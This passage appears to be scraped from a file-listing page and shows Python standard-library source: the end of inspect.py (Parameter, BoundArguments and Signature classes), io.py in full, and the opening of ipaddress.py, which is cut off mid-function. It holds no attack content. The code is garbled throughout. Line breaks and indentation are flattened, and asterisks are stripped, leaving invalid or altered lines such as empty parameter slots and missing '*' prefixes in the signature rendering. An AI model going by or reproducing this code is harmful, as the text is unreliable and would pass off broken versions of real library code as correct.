float)): return ast.Num(value) if isinstance(value, bytes): return ast.Bytes(value) if value in (True, False, None): return ast.NameConstant(value) raise RuntimeError() class RewriteSymbolics(ast.NodeTransformer): def visit_Attribute(self, node): a = [] n = node while isinstance(n, ast.Attribute): a.append(n.attr) n = n.value if not isinstance(n, ast.Name): raise RuntimeError() a.append(n.id) value = ".".join(reversed(a)) return wrap_value(value) def visit_Name(self, node): if not isinstance(node.ctx, ast.Load): raise ValueError() return wrap_value(node.id) def p(name_node, default_node, default=empty): name = parse_name(name_node) if name is invalid: return None if default_node and default_node is not _empty: try: default_node = RewriteSymbolics().visit(default_node) o = ast.literal_eval(default_node) except ValueError: o = invalid if o is invalid: return None default = o if o is not invalid else default parameters.append(Parameter(name, kind, default=default, annotation=empty)) # non-keyword-only parameters args = reversed(f.args.args) defaults = reversed(f.args.defaults) iter = itertools.zip_longest(args, defaults, fillvalue=None) if last_positional_only is not None: kind = Parameter.POSITIONAL_ONLY else: kind = Parameter.POSITIONAL_OR_KEYWORD for i, (name, default) in enumerate(reversed(list(iter))): p(name, default) if i == last_positional_only: kind = Parameter.POSITIONAL_OR_KEYWORD # args if f.args.vararg: kind = Parameter.VAR_POSITIONAL p(f.args.vararg, empty) # keyword-only arguments kind = Parameter.KEYWORD_ONLY for name, default in zip(f.args.kwonlyargs, f.args.kw_defaults): p(name, default) # kwargs if f.args.kwarg: kind = Parameter.VAR_KEYWORD p(f.args.kwarg, empty) if self_parameter is not None: # Possibly strip the bound argument: # - We always* strip first bound argument if # it is a module. # - We don't strip first bound argument if # skip_bound_arg is False. assert parameters _self = getattr(obj, '__self__', None) self_isbound = _self is not None self_ismodule = ismodule(_self) if self_isbound and (self_ismodule or skip_bound_arg): parameters.pop(0) else: # for builtins, self parameter is always positional-only! p = parameters[0].replace(kind=Parameter.POSITIONAL_ONLY) parameters[0] = p return cls(parameters, return_annotation=cls.empty) def _signature_from_builtin(cls, func, skip_bound_arg=True): """Private helper function to get signature for builtin callables. """ if not _signature_is_builtin(func): raise TypeError("{!r} is not a Python builtin " "function".format(func)) s = getattr(func, "__text_signature__", None) if not s: raise ValueError("no signature found for builtin {!r}".format(func)) return _signature_fromstr(cls, func, s, skip_bound_arg) def _signature_from_function(cls, func): """Private helper: constructs Signature for the given python function.""" is_duck_function = False if not isfunction(func): if _signature_is_functionlike(func): is_duck_function = True else: # If it's not a pure Python function, and not a duck type # of pure function: raise TypeError('{!r} is not a Python function'.format(func)) Parameter = cls._parameter_cls # Parameter information. func_code = func.__code__ pos_count = func_code.co_argcount arg_names = func_code.co_varnames positional = tuple(arg_names[:pos_count]) keyword_only_count = func_code.co_kwonlyargcount keyword_only = arg_names[pos_count:(pos_count + keyword_only_count)] annotations = func.__annotations__ defaults = func.__defaults__ kwdefaults = func.__kwdefaults__ if defaults: pos_default_count = len(defaults) else: pos_default_count = 0 parameters = [] # Non-keyword-only parameters w/o defaults. non_default_count = pos_count - pos_default_count for name in positional[:non_default_count]: annotation = annotations.get(name, _empty) parameters.append(Parameter(name, annotation=annotation, kind=_POSITIONAL_OR_KEYWORD)) # ... w/ defaults. for offset, name in enumerate(positional[non_default_count:]): annotation = annotations.get(name, _empty) parameters.append(Parameter(name, annotation=annotation, kind=_POSITIONAL_OR_KEYWORD, default=defaults[offset])) # args if func_code.co_flags & CO_VARARGS: name = arg_names[pos_count + keyword_only_count] annotation = annotations.get(name, _empty) parameters.append(Parameter(name, annotation=annotation, kind=_VAR_POSITIONAL)) # Keyword-only parameters. for name in keyword_only: default = _empty if kwdefaults is not None: default = kwdefaults.get(name, _empty) annotation = annotations.get(name, _empty) parameters.append(Parameter(name, annotation=annotation, kind=_KEYWORD_ONLY, default=default)) # kwargs if func_code.co_flags & CO_VARKEYWORDS: index = pos_count + keyword_only_count if func_code.co_flags & CO_VARARGS: index += 1 name = arg_names[index] annotation = annotations.get(name, _empty) parameters.append(Parameter(name, annotation=annotation, kind=_VAR_KEYWORD)) # Is 'func' is a pure Python function - don't validate the # parameters list (for correct order and defaults), it should be OK. return cls(parameters, return_annotation=annotations.get('return', _empty), __validate_parameters__=is_duck_function) def _signature_from_callable(obj, , follow_wrapper_chains=True, skip_bound_arg=True, sigcls): """Private helper function to get signature for arbitrary callable objects. """ if not callable(obj): raise TypeError('{!r} is not a callable object'.format(obj)) if isinstance(obj, types.MethodType): # In this case we skip the first parameter of the underlying # function (usually `self` or `cls`). sig = _signature_from_callable( obj.__func__, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) if skip_bound_arg: return _signature_bound_method(sig) else: return sig # Was this function wrapped by a decorator? if follow_wrapper_chains: obj = unwrap(obj, stop=(lambda f: hasattr(f, "__signature__"))) if isinstance(obj, types.MethodType): # If the unwrapped object is a method, we might want to # skip its first parameter (self). # See test_signature_wrapped_bound_method for details. return _signature_from_callable( obj, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) try: sig = obj.__signature__ except AttributeError: pass else: if sig is not None: if not isinstance(sig, Signature): raise TypeError( 'unexpected object {!r} in __signature__ ' 'attribute'.format(sig)) return sig try: partialmethod = obj._partialmethod except AttributeError: pass else: if isinstance(partialmethod, functools.partialmethod): # Unbound partialmethod (see functools.partialmethod) # This means, that we need to calculate the signature # as if it's a regular partial object, but taking into # account that the first positional argument # (usually `self`, or `cls`) will not be passed # automatically (as for boundmethods) wrapped_sig = _signature_from_callable( partialmethod.func, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) sig = _signature_get_partial(wrapped_sig, partialmethod, (None,)) first_wrapped_param = tuple(wrapped_sig.parameters.values())[0] if first_wrapped_param.kind is Parameter.VAR_POSITIONAL: # First argument of the wrapped callable is `args`, as in # `partialmethod(lambda args)`. return sig else: sig_params = tuple(sig.parameters.values()) assert (not sig_params or first_wrapped_param is not sig_params[0]) new_params = (first_wrapped_param,) + sig_params return sig.replace(parameters=new_params) if isfunction(obj) or _signature_is_functionlike(obj): # If it's a pure Python function, or an object that is duck type # of a Python function (Cython functions, for instance), then: return _signature_from_function(sigcls, obj) if _signature_is_builtin(obj): return _signature_from_builtin(sigcls, obj, skip_bound_arg=skip_bound_arg) if isinstance(obj, functools.partial): wrapped_sig = _signature_from_callable( obj.func, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) return _signature_get_partial(wrapped_sig, obj) sig = None if isinstance(obj, type): # obj is a class or a metaclass # First, let's see if it has an overloaded __call__ defined # in its metaclass call = _signature_get_user_defined_method(type(obj), '__call__') if call is not None: sig = _signature_from_callable( call, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) else: # Now we check if the 'obj' class has a '__new__' method new = _signature_get_user_defined_method(obj, '__new__') if new is not None: sig = _signature_from_callable( new, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) else: # Finally, we should have at least __init__ implemented init = _signature_get_user_defined_method(obj, '__init__') if init is not None: sig = _signature_from_callable( init, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) if sig is None: # At this point we know, that `obj` is a class, with no user- # defined '__init__', '__new__', or class-level '__call__' for base in obj.__mro__[:-1]: # Since '__text_signature__' is implemented as a # descriptor that extracts text signature from the # class docstring, if 'obj' is derived from a builtin # class, its own '__text_signature__' may be 'None'. # Therefore, we go through the MRO (except the last # class in there, which is 'object') to find the first # class with non-empty text signature. try: text_sig = base.__text_signature__ except AttributeError: pass else: if text_sig: # If 'obj' class has a __text_signature__ attribute: # return a signature based on it return _signature_fromstr(sigcls, obj, text_sig) # No '__text_signature__' was found for the 'obj' class. # Last option is to check if its '__init__' is # object.__init__ or type.__init__. if type not in obj.__mro__: # We have a class (not metaclass), but no user-defined # __init__ or __new__ for it if (obj.__init__ is object.__init__ and obj.__new__ is object.__new__): # Return a signature of 'object' builtin. return sigcls.from_callable(object) else: raise ValueError( 'no signature found for builtin type {!r}'.format(obj)) elif not isinstance(obj, _NonUserDefinedCallables): # An object with __call__ # We also check that the 'obj' is not an instance of # _WrapperDescriptor or _MethodWrapper to avoid # infinite recursion (and even potential segfault) call = _signature_get_user_defined_method(type(obj), '__call__') if call is not None: try: sig = _signature_from_callable( call, follow_wrapper_chains=follow_wrapper_chains, skip_bound_arg=skip_bound_arg, sigcls=sigcls) except ValueError as ex: msg = 'no signature found for {!r}'.format(obj) raise ValueError(msg) from ex if sig is not None: # For classes and objects we skip the first parameter of their # __call__, __new__, or __init__ methods if skip_bound_arg: return _signature_bound_method(sig) else: return sig if isinstance(obj, types.BuiltinFunctionType): # Raise a nicer error message for builtins msg = 'no signature found for builtin function {!r}'.format(obj) raise ValueError(msg) raise ValueError('callable {!r} is not supported by signature'.format(obj)) class _void: """A private marker - used in Parameter & Signature.""" class _empty: """Marker object for Signature.empty and Parameter.empty.""" class _ParameterKind(enum.IntEnum): POSITIONAL_ONLY = 0 POSITIONAL_OR_KEYWORD = 1 VAR_POSITIONAL = 2 KEYWORD_ONLY = 3 VAR_KEYWORD = 4 def __str__(self): return self._name_ _POSITIONAL_ONLY = _ParameterKind.POSITIONAL_ONLY _POSITIONAL_OR_KEYWORD = _ParameterKind.POSITIONAL_OR_KEYWORD _VAR_POSITIONAL = _ParameterKind.VAR_POSITIONAL _KEYWORD_ONLY = _ParameterKind.KEYWORD_ONLY _VAR_KEYWORD = _ParameterKind.VAR_KEYWORD _PARAM_NAME_MAPPING = { _POSITIONAL_ONLY: 'positional-only', _POSITIONAL_OR_KEYWORD: 'positional or keyword', _VAR_POSITIONAL: 'variadic positional', _KEYWORD_ONLY: 'keyword-only', _VAR_KEYWORD: 'variadic keyword' } _get_paramkind_descr = _PARAM_NAME_MAPPING.__getitem__ class Parameter: """Represents a parameter in a function signature. Has the following public attributes: * name : str The name of the parameter as a string. * default : object The default value for the parameter if specified. If the parameter has no default value, this attribute is set to `Parameter.empty`. * annotation The annotation for the parameter if specified. If the parameter has no annotation, this attribute is set to `Parameter.empty`. * kind : str Describes how argument values are bound to the parameter. Possible values: `Parameter.POSITIONAL_ONLY`, `Parameter.POSITIONAL_OR_KEYWORD`, `Parameter.VAR_POSITIONAL`, `Parameter.KEYWORD_ONLY`, `Parameter.VAR_KEYWORD`. """ __slots__ = ('_name', '_kind', '_default', '_annotation') POSITIONAL_ONLY = _POSITIONAL_ONLY POSITIONAL_OR_KEYWORD = _POSITIONAL_OR_KEYWORD VAR_POSITIONAL = _VAR_POSITIONAL KEYWORD_ONLY = _KEYWORD_ONLY VAR_KEYWORD = _VAR_KEYWORD empty = _empty def __init__(self, name, kind, , default=_empty, annotation=_empty): try: self._kind = _ParameterKind(kind) except ValueError: raise ValueError(f'value {kind!r} is not a valid Parameter.kind') if default is not _empty: if self._kind in (_VAR_POSITIONAL, _VAR_KEYWORD): msg = '{} parameters cannot have default values' msg = msg.format(_get_paramkind_descr(self._kind)) raise ValueError(msg) self._default = default self._annotation = annotation if name is _empty: raise ValueError('name is a required attribute for Parameter') if not isinstance(name, str): msg = 'name must be a str, not a {}'.format(type(name).__name__) raise TypeError(msg) if name[0] == '.' and name[1:].isdigit(): # These are implicit arguments generated by comprehensions. In # order to provide a friendlier interface to users, we recast # their name as "implicitN" and treat them as positional-only. # See issue 19611. if self._kind != _POSITIONAL_OR_KEYWORD: msg = ( 'implicit arguments must be passed as ' 'positional or keyword arguments, not {}' ) msg = msg.format(_get_paramkind_descr(self._kind)) raise ValueError(msg) self._kind = _POSITIONAL_ONLY name = 'implicit{}'.format(name[1:]) if not name.isidentifier(): raise ValueError('{!r} is not a valid parameter name'.format(name)) self._name = name def __reduce__(self): return (type(self), (self._name, self._kind), {'_default': self._default, '_annotation': self._annotation}) def __setstate__(self, state): self._default = state['_default'] self._annotation = state['_annotation'] @property def name(self): return self._name @property def default(self): return self._default @property def annotation(self): return self._annotation @property def kind(self): return self._kind def replace(self, , name=_void, kind=_void, annotation=_void, default=_void): """Creates a customized copy of the Parameter.""" if name is _void: name = self._name if kind is _void: kind = self._kind if annotation is _void: annotation = self._annotation if default is _void: default = self._default return type(self)(name, kind, default=default, annotation=annotation) def __str__(self): kind = self.kind formatted = self._name # Add annotation and default value if self._annotation is not _empty: formatted = '{}: {}'.format(formatted, formatannotation(self._annotation)) if self._default is not _empty: if self._annotation is not _empty: formatted = '{} = {}'.format(formatted, repr(self._default)) else: formatted = '{}={}'.format(formatted, repr(self._default)) if kind == _VAR_POSITIONAL: formatted = '' + formatted elif kind == _VAR_KEYWORD: formatted = '' + formatted return formatted def __repr__(self): return '<{} "{}">'.format(self.__class__.__name__, self) def __hash__(self): return hash((self.name, self.kind, self.annotation, self.default)) def __eq__(self, other): if self is other: return True if not isinstance(other, Parameter): return NotImplemented return (self._name == other._name and self._kind == other._kind and self._default == other._default and self._annotation == other._annotation) class BoundArguments: """Result of `Signature.bind` call. Holds the mapping of arguments to the function's parameters. Has the following public attributes: arguments : OrderedDict An ordered mutable mapping of parameters' names to arguments' values. Does not contain arguments' default values. * signature : Signature The Signature object that created this instance. * args : tuple Tuple of positional arguments values. * kwargs : dict Dict of keyword arguments values. """ __slots__ = ('arguments', '_signature', '__weakref__') def __init__(self, signature, arguments): self.arguments = arguments self._signature = signature @property def signature(self): return self._signature @property def args(self): args = [] for param_name, param in self._signature.parameters.items(): if param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY): break try: arg = self.arguments[param_name] except KeyError: # We're done here. Other arguments # will be mapped in 'BoundArguments.kwargs' break else: if param.kind == _VAR_POSITIONAL: # args args.extend(arg) else: # plain argument args.append(arg) return tuple(args) @property def kwargs(self): kwargs = {} kwargs_started = False for param_name, param in self._signature.parameters.items(): if not kwargs_started: if param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY): kwargs_started = True else: if param_name not in self.arguments: kwargs_started = True continue if not kwargs_started: continue try: arg = self.arguments[param_name] except KeyError: pass else: if param.kind == _VAR_KEYWORD: # kwargs kwargs.update(arg) else: # plain keyword argument kwargs[param_name] = arg return kwargs def apply_defaults(self): """Set default values for missing arguments. For variable-positional arguments (args) the default is an empty tuple. For variable-keyword arguments (*kwargs) the default is an empty dict. """ arguments = self.arguments new_arguments = [] for name, param in self._signature.parameters.items(): try: new_arguments.append((name, arguments[name])) except KeyError: if param.default is not _empty: val = param.default elif param.kind is _VAR_POSITIONAL: val = () elif param.kind is _VAR_KEYWORD: val = {} else: # This BoundArguments was likely produced by # Signature.bind_partial(). continue new_arguments.append((name, val)) self.arguments = OrderedDict(new_arguments) def __eq__(self, other): if self is other: return True if not isinstance(other, BoundArguments): return NotImplemented return (self.signature == other.signature and self.arguments == other.arguments) def __setstate__(self, state): self._signature = state['_signature'] self.arguments = state['arguments'] def __getstate__(self): return {'_signature': self._signature, 'arguments': self.arguments} def __repr__(self): args = [] for arg, value in self.arguments.items(): args.append('{}={!r}'.format(arg, value)) return '<{} ({})>'.format(self.__class__.__name__, ', '.join(args)) class Signature: """A Signature object represents the overall signature of a function. It stores a Parameter object for each parameter accepted by the function, as well as information specific to the function itself. A Signature object has the following public attributes and methods: parameters : OrderedDict An ordered mapping of parameters' names to the corresponding Parameter objects (keyword-only arguments are in the same order as listed in `code.co_varnames`). * return_annotation : object The annotation for the return type of the function if specified. If the function has no annotation for its return type, this attribute is set to `Signature.empty`. * bind(args, kwargs) -> BoundArguments Creates a mapping from positional and keyword arguments to parameters. bind_partial(args, kwargs) -> BoundArguments Creates a partial mapping from positional and keyword arguments to parameters (simulating 'functools.partial' behavior.) """ __slots__ = ('_return_annotation', '_parameters') _parameter_cls = Parameter _bound_arguments_cls = BoundArguments empty = _empty def __init__(self, parameters=None, , return_annotation=_empty, __validate_parameters__=True): """Constructs Signature from the given list of Parameter objects and 'return_annotation'. All arguments are optional. """ if parameters is None: params = OrderedDict() else: if __validate_parameters__: params = OrderedDict() top_kind = _POSITIONAL_ONLY kind_defaults = False for idx, param in enumerate(parameters): kind = param.kind name = param.name if kind < top_kind: msg = ( 'wrong parameter order: {} parameter before {} ' 'parameter' ) msg = msg.format(_get_paramkind_descr(top_kind), _get_paramkind_descr(kind)) raise ValueError(msg) elif kind > top_kind: kind_defaults = False top_kind = kind if kind in (_POSITIONAL_ONLY, _POSITIONAL_OR_KEYWORD): if param.default is _empty: if kind_defaults: # No default for this parameter, but the # previous parameter of the same kind had # a default msg = 'non-default argument follows default ' \ 'argument' raise ValueError(msg) else: # There is a default for this parameter. kind_defaults = True if name in params: msg = 'duplicate parameter name: {!r}'.format(name) raise ValueError(msg) params[name] = param else: params = OrderedDict(((param.name, param) for param in parameters)) self._parameters = types.MappingProxyType(params) self._return_annotation = return_annotation @classmethod def from_function(cls, func): """Constructs Signature for the given python function. Deprecated since Python 3.5, use `Signature.from_callable()`. """ warnings.warn("inspect.Signature.from_function() is deprecated since " "Python 3.5, use Signature.from_callable()", DeprecationWarning, stacklevel=2) return _signature_from_function(cls, func) @classmethod def from_builtin(cls, func): """Constructs Signature for the given builtin function. Deprecated since Python 3.5, use `Signature.from_callable()`. """ warnings.warn("inspect.Signature.from_builtin() is deprecated since " "Python 3.5, use Signature.from_callable()", DeprecationWarning, stacklevel=2) return _signature_from_builtin(cls, func) @classmethod def from_callable(cls, obj, , follow_wrapped=True): """Constructs Signature for the given callable object.""" return _signature_from_callable(obj, sigcls=cls, follow_wrapper_chains=follow_wrapped) @property def parameters(self): return self._parameters @property def return_annotation(self): return self._return_annotation def replace(self, , parameters=_void, return_annotation=_void): """Creates a customized copy of the Signature. Pass 'parameters' and/or 'return_annotation' arguments to override them in the new copy. """ if parameters is _void: parameters = self.parameters.values() if return_annotation is _void: return_annotation = self._return_annotation return type(self)(parameters, return_annotation=return_annotation) def _hash_basis(self): params = tuple(param for param in self.parameters.values() if param.kind != _KEYWORD_ONLY) kwo_params = {param.name: param for param in self.parameters.values() if param.kind == _KEYWORD_ONLY} return params, kwo_params, self.return_annotation def __hash__(self): params, kwo_params, return_annotation = self._hash_basis() kwo_params = frozenset(kwo_params.values()) return hash((params, kwo_params, return_annotation)) def __eq__(self, other): if self is other: return True if not isinstance(other, Signature): return NotImplemented return self._hash_basis() == other._hash_basis() def _bind(self, args, kwargs, , partial=False): """Private method. Don't use directly.""" arguments = OrderedDict() parameters = iter(self.parameters.values()) parameters_ex = () arg_vals = iter(args) while True: # Let's iterate through the positional arguments and corresponding # parameters try: arg_val = next(arg_vals) except StopIteration: # No more positional arguments try: param = next(parameters) except StopIteration: # No more parameters. That's it. Just need to check that # we have no `kwargs` after this while loop break else: if param.kind == _VAR_POSITIONAL: # That's OK, just empty args. Let's start parsing # kwargs break elif param.name in kwargs: if param.kind == _POSITIONAL_ONLY: msg = '{arg!r} parameter is positional only, ' \ 'but was passed as a keyword' msg = msg.format(arg=param.name) raise TypeError(msg) from None parameters_ex = (param,) break elif (param.kind == _VAR_KEYWORD or param.default is not _empty): # That's fine too - we have a default value for this # parameter. So, lets start parsing `kwargs`, starting # with the current parameter parameters_ex = (param,) break else: # No default, not VAR_KEYWORD, not VAR_POSITIONAL, # not in `kwargs` if partial: parameters_ex = (param,) break else: msg = 'missing a required argument: {arg!r}' msg = msg.format(arg=param.name) raise TypeError(msg) from None else: # We have a positional argument to process try: param = next(parameters) except StopIteration: raise TypeError('too many positional arguments') from None else: if param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY): # Looks like we have no parameter for this positional # argument raise TypeError( 'too many positional arguments') from None if param.kind == _VAR_POSITIONAL: # We have an 'args'-like argument, let's fill it with # all positional arguments we have left and move on to # the next phase values = [arg_val] values.extend(arg_vals) arguments[param.name] = tuple(values) break if param.name in kwargs: raise TypeError( 'multiple values for argument {arg!r}'.format( arg=param.name)) from None arguments[param.name] = arg_val # Now, we iterate through the remaining parameters to process # keyword arguments kwargs_param = None for param in itertools.chain(parameters_ex, parameters): if param.kind == _VAR_KEYWORD: # Memorize that we have a 'kwargs'-like parameter kwargs_param = param continue if param.kind == _VAR_POSITIONAL: # Named arguments don't refer to 'args'-like parameters. # We only arrive here if the positional arguments ended # before reaching the last parameter before args. continue param_name = param.name try: arg_val = kwargs.pop(param_name) except KeyError: # We have no value for this parameter. It's fine though, # if it has a default value, or it is an 'args'-like # parameter, left alone by the processing of positional # arguments. if (not partial and param.kind != _VAR_POSITIONAL and param.default is _empty): raise TypeError('missing a required argument: {arg!r}'. \ format(arg=param_name)) from None else: if param.kind == _POSITIONAL_ONLY: # This should never happen in case of a properly built # Signature object (but let's have this check here # to ensure correct behaviour just in case) raise TypeError('{arg!r} parameter is positional only, ' 'but was passed as a keyword'. \ format(arg=param.name)) arguments[param_name] = arg_val if kwargs: if kwargs_param is not None: # Process our '*kwargs'-like parameter arguments[kwargs_param.name] = kwargs else: raise TypeError( 'got an unexpected keyword argument {arg!r}'.format( arg=next(iter(kwargs)))) return self._bound_arguments_cls(self, arguments) def bind(args, *kwargs): """Get a BoundArguments object, that maps the passed `args` and `kwargs` to the function's signature. Raises `TypeError` if the passed arguments can not be bound. """ return args[0]._bind(args[1:], kwargs) def bind_partial(args, *kwargs): """Get a BoundArguments object, that partially maps the passed `args` and `kwargs` to the function's signature. Raises `TypeError` if the passed arguments can not be bound. """ return args[0]._bind(args[1:], kwargs, partial=True) def __reduce__(self): return (type(self), (tuple(self._parameters.values()),), {'_return_annotation': self._return_annotation}) def __setstate__(self, state): self._return_annotation = state['_return_annotation'] def __repr__(self): return '<{} {}>'.format(self.__class__.__name__, self) def __str__(self): result = [] render_pos_only_separator = False render_kw_only_separator = True for param in self.parameters.values(): formatted = str(param) kind = param.kind if kind == _POSITIONAL_ONLY: render_pos_only_separator = True elif render_pos_only_separator: # It's not a positional-only parameter, and the flag # is set to 'True' (there were pos-only params before.) result.append('/') render_pos_only_separator = False if kind == _VAR_POSITIONAL: # OK, we have an 'args'-like parameter, so we won't need # a '' to separate keyword-only arguments render_kw_only_separator = False elif kind == _KEYWORD_ONLY and render_kw_only_separator: # We have a keyword-only parameter to render and we haven't # rendered an 'args'-like parameter before, so add a '' # separator to the parameters list ("foo(arg1, , arg2)" case) result.append('') # This condition should be only triggered once, so # reset the flag render_kw_only_separator = False result.append(formatted) if render_pos_only_separator: # There were only positional-only parameters, hence the # flag was not reset to 'False' result.append('/') rendered = '({})'.format(', '.join(result)) if self.return_annotation is not _empty: anno = formatannotation(self.return_annotation) rendered += ' -> {}'.format(anno) return rendered def signature(obj, , follow_wrapped=True): """Get a signature object for the passed callable.""" return Signature.from_callable(obj, follow_wrapped=follow_wrapped) def _main(): """ Logic for inspecting an object given at command line """ import argparse import importlib parser = argparse.ArgumentParser() parser.add_argument( 'object', help="The object to be analysed. " "It supports the 'module:qualname' syntax") parser.add_argument( '-d', '--details', action='store_true', help='Display info about the module rather than its source code') args = parser.parse_args() target = args.object mod_name, has_attrs, attrs = target.partition(":") try: obj = module = importlib.import_module(mod_name) except Exception as exc: msg = "Failed to import {} ({}: {})".format(mod_name, type(exc).__name__, exc) print(msg, file=sys.stderr) sys.exit(2) if has_attrs: parts = attrs.split(".") obj = module for part in parts: obj = getattr(obj, part) if module.__name__ in sys.builtin_module_names: print("Can't get info for builtin modules.", file=sys.stderr) sys.exit(1) if args.details: print('Target: {}'.format(target)) print('Origin: {}'.format(getsourcefile(module))) print('Cached: {}'.format(module.__cached__)) if obj is module: print('Loader: {}'.format(repr(module.__loader__))) if hasattr(module, '__path__'): print('Submodule search path: {}'.format(module.__path__)) else: try: __, lineno = findsource(obj) except Exception: pass else: print('Line: {}'.format(lineno)) print('\n') else: print(getsource(obj)) if __name__ == "__main__": _main()	114.88 KB	2024-04-17 17:55
📄 io.py """The io module provides the Python interfaces to stream handling. The builtin open function is defined in this module. At the top of the I/O hierarchy is the abstract base class IOBase. It defines the basic interface to a stream. Note, however, that there is no separation between reading and writing to streams; implementations are allowed to raise an OSError if they do not support a given operation. Extending IOBase is RawIOBase which deals simply with the reading and writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide an interface to OS files. BufferedIOBase deals with buffering on a raw byte stream (RawIOBase). Its subclasses, BufferedWriter, BufferedReader, and BufferedRWPair buffer streams that are readable, writable, and both respectively. BufferedRandom provides a buffered interface to random access streams. BytesIO is a simple stream of in-memory bytes. Another IOBase subclass, TextIOBase, deals with the encoding and decoding of streams into text. TextIOWrapper, which extends it, is a buffered text interface to a buffered raw stream (`BufferedIOBase`). Finally, StringIO is an in-memory stream for text. Argument names are not part of the specification, and only the arguments of open() are intended to be used as keyword arguments. data: DEFAULT_BUFFER_SIZE An int containing the default buffer size used by the module's buffered I/O classes. open() uses the file's blksize (as obtained by os.stat) if possible. """ # New I/O library conforming to PEP 3116. __author__ = ("Guido van Rossum <guido@python.org>, " "Mike Verdone <mike.verdone@gmail.com>, " "Mark Russell <mark.russell@zen.co.uk>, " "Antoine Pitrou <solipsis@pitrou.net>, " "Amaury Forgeot d'Arc <amauryfa@gmail.com>, " "Benjamin Peterson <benjamin@python.org>") __all__ = ["BlockingIOError", "open", "IOBase", "RawIOBase", "FileIO", "BytesIO", "StringIO", "BufferedIOBase", "BufferedReader", "BufferedWriter", "BufferedRWPair", "BufferedRandom", "TextIOBase", "TextIOWrapper", "UnsupportedOperation", "SEEK_SET", "SEEK_CUR", "SEEK_END"] import _io import abc from _io import (DEFAULT_BUFFER_SIZE, BlockingIOError, UnsupportedOperation, open, FileIO, BytesIO, StringIO, BufferedReader, BufferedWriter, BufferedRWPair, BufferedRandom, IncrementalNewlineDecoder, TextIOWrapper) OpenWrapper = _io.open # for compatibility with _pyio # Pretend this exception was created here. UnsupportedOperation.__module__ = "io" # for seek() SEEK_SET = 0 SEEK_CUR = 1 SEEK_END = 2 # Declaring ABCs in C is tricky so we do it here. # Method descriptions and default implementations are inherited from the C # version however. class IOBase(_io._IOBase, metaclass=abc.ABCMeta): __doc__ = _io._IOBase.__doc__ class RawIOBase(_io._RawIOBase, IOBase): __doc__ = _io._RawIOBase.__doc__ class BufferedIOBase(_io._BufferedIOBase, IOBase): __doc__ = _io._BufferedIOBase.__doc__ class TextIOBase(_io._TextIOBase, IOBase): __doc__ = _io._TextIOBase.__doc__ RawIOBase.register(FileIO) for klass in (BytesIO, BufferedReader, BufferedWriter, BufferedRandom, BufferedRWPair): BufferedIOBase.register(klass) for klass in (StringIO, TextIOWrapper): TextIOBase.register(klass) del klass try: from _io import _WindowsConsoleIO except ImportError: pass else: RawIOBase.register(_WindowsConsoleIO)	3.43 KB	2024-04-17 17:55
📄 ipaddress.py # Copyright 2007 Google Inc. # Licensed to PSF under a Contributor Agreement. """A fast, lightweight IPv4/IPv6 manipulation library in Python. This library is used to create/poke/manipulate IPv4 and IPv6 addresses and networks. """ __version__ = '1.0' import functools IPV4LENGTH = 32 IPV6LENGTH = 128 class AddressValueError(ValueError): """A Value Error related to the address.""" class NetmaskValueError(ValueError): """A Value Error related to the netmask.""" def ip_address(address): """Take an IP string/int and return an object of the correct type. Args: address: A string or integer, the IP address. Either IPv4 or IPv6 addresses may be supplied; integers less than 2*32 will be considered to be IPv4 by default. Returns: An IPv4Address or IPv6Address object. Raises: ValueError: if the address* passed isn't either a v4 or a v6 address """ try: return IPv4Address(address) except (AddressValueError, NetmaskValueError): pass try: return IPv6Address(address) except (AddressValueError, NetmaskValueError): pass raise ValueError('%r does not appear to be an IPv4 or IPv6 address' % address) def ip_network(address, strict=True): """Take an IP string/int and return an object of the correct type. Args: address: A string or integer, the IP network. Either IPv4 or IPv6 networks may be supplied; integers less than 232 will be considered to be IPv4 by default. Returns: An IPv4Network or IPv6Network object. Raises: ValueError: if the string passed isn't either a v4 or a v6 address. Or if the network has host bits set. """ try: return IPv4Network(address, strict) except (AddressValueError, NetmaskValueError): pass try: return IPv6Network(address, strict) except (AddressValueError, NetmaskValueError): pass raise ValueError('%r does not appear to be an IPv4 or IPv6 network' % address) def ip_interface(address): """Take an IP string/int and return an object of the correct type. Args: address: A string or integer, the IP address. Either IPv4 or IPv6 addresses may be supplied; integers less than 232 will be considered to be IPv4 by default. Returns: An IPv4Interface or IPv6Interface object. Raises: ValueError: if the string passed isn't either a v4 or a v6 address. Notes: The IPv?Interface classes describe an Address on a particular Network, so they're basically a combination of both the Address and Network classes. """ try: return IPv4Interface(address) except (AddressValueError, NetmaskValueError): pass try: return IPv6Interface(address) except (AddressValueError, NetmaskValueError): pass raise ValueError('%r does not appear to be an IPv4 or IPv6 interface' % address) def v4_int_to_packed(address): """Represent an address as 4 packed bytes in network (big-endian) order. Args: address: An integer representation of an IPv4 IP address. Returns: The integer address packed as 4 bytes in network (big-endian) order. Raises: ValueError: If the integer is negative or too large to be an IPv4 IP address. """ try: return address.to_bytes(4, 'big') except OverflowError: raise ValueError("Address negative or too large for IPv4") def v6_int_to_packed(address): """Represent an address as 16 packed bytes in network (big-endian) order. Args: address: An integer representation of an IPv6 IP address. Returns: The integer address packed as 16 bytes in network (big-endian) order. """ try: return address.to_bytes(16, 'big') except OverflowError: raise ValueError("Address negative or too large for IPv6") def _split_optional_netmask(address): """Helper to split the netmask and raise AddressValueError if needed""" addr = str(address).split('/') if len(addr) > 2: raise AddressValueError("Only one '/' permitted in %r" % address) return addr def _find_address_range(addresses): """Find a sequence of sorted deduplicated IPv#Address. Args: addresses: a list of IPv#Address objects. Yields: A tuple containing the first and last IP addresses in the sequence. """ it = iter(addresses) first = last = next(it) for ip in it: if ip._ip != last._ip + 1: yield first, last first = ip last = ip yield first, last def _count_righthand_zero_bits(number, bits): """Count the number of zero bits on the right hand side. Args: number: an integer. bits: maximum number of bits to count. Returns: The number of zero bits on the right hand side of the number. """ if number == 0: return bits return 